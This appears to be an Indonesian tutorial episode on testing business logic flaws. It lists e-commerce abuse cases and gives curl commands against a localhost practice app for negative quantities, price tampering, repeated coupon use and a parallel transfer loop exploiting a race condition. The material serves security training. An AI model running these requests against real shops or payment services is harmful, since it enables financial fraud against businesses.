Menemukan vulnerability yang tidak terdeteksi scanner: abuse cases, race conditions, workflow manipulation, dan business logic testing pada aplikasi nyata

Setelah di episode 8 kita mengotomasi security testing di CI/CD, pada episode ini kita membahas kelemahan terbesar scanner otomatis: business logic flaws. Vulnerability ini tidak bisa ditemukan oleh SAST/DAST karena membutuhkan pemahaman konteks bisnis aplikasi.
Business logic flaw adalah vulnerability yang muncul dari cara aplikasi memproses bisnis rules — bukan dari teknik serangan tradisional seperti injection. Contoh: aplikasi yang mengizinkan kupon diskon digunakan berkali-kali.
Scanner bekerja dengan pola known — SQL injection, XSS, misconfiguration. Business logic flaw membutuhkan pemahaman tentang bagaimana aplikasi seharusnya bekerja vs bagaimana bisa disalahgunakan.
# Beli 1 item, tapi manipulate quantity
curl -X POST http://localhost:3000/api/basket \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"productId": 1, "quantity": -1}'# Manipulate harga di request
curl -X PUT http://localhost:3000/api/basket/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"price": 0.01}'# Gunakan kupon berkali-kali
for i in $(seq 1 5); do
curl -X POST http://localhost:3000/api/basket/apply-coupon \
-H "Authorization: Bearer <token>" \
-d '{"coupon": "DISCOUNT50"}'
done# Kirim banyak request sekaligus untuk exploit race condition
for i in $(seq 1 10); do
curl -X POST http://localhost:3000/api/transfer \
-H "Authorization: Bearer <token>" \
-d '{"to": "attacker", "amount": 1000}' &
done
waitUser Flow yang Harus Dipahami:
├── Registration → Login → Browse → Add to Cart → Checkout → Payment
├── Tiap step: apa yang boleh/tidak boleh dilakukan?
└── Cari cara manipulasi di setiap stepAbuse Case untuk E-Commerce:
├── Gunakan kupon lebih dari sekali
├── Beli dengan quantity negatif (dapat uang?)
├── Ubah harga di request
├── Checkout tanpa payment
├── Akses order user lain
└── Gunakan gratis ongkir berulang# Burp Suite Intruder untuk fuzzing business logic
# 1. Capture request checkout
# 2. Send to Intruder
# 3. Set payload pada field yang mencurigakan
# 4. Analyze response perbedaanWarning
Business logic flaws sering memiliki dampak finansial langsung — kerugian bisa jauh lebih besar dari technical vulnerabilities. Prioritaskan testing ini untuk aplikasi e-commerce, fintech, dan payment.
# Test: beli item dengan quantity negatif
curl -X POST http://localhost:3000/api/BasketItems \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"ProductId": 1, "BasketId": 1, "quantity": -1}'
# Test: akses challenge solution tanpa authentication
curl http://localhost:3000/api/Challenges
# Test: manipulasi feedback rating
curl -X PUT http://localhost:3000/api/Feedbacks/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"comment": "great", "captchaId": 1, "captcha": "1"}'Di episode 10 selanjutnya kita akan membahas testing file uploads & SSRF — memahami attack vectors melalui upload file dan server-side request forgery. Sampai jumpa di episode 10!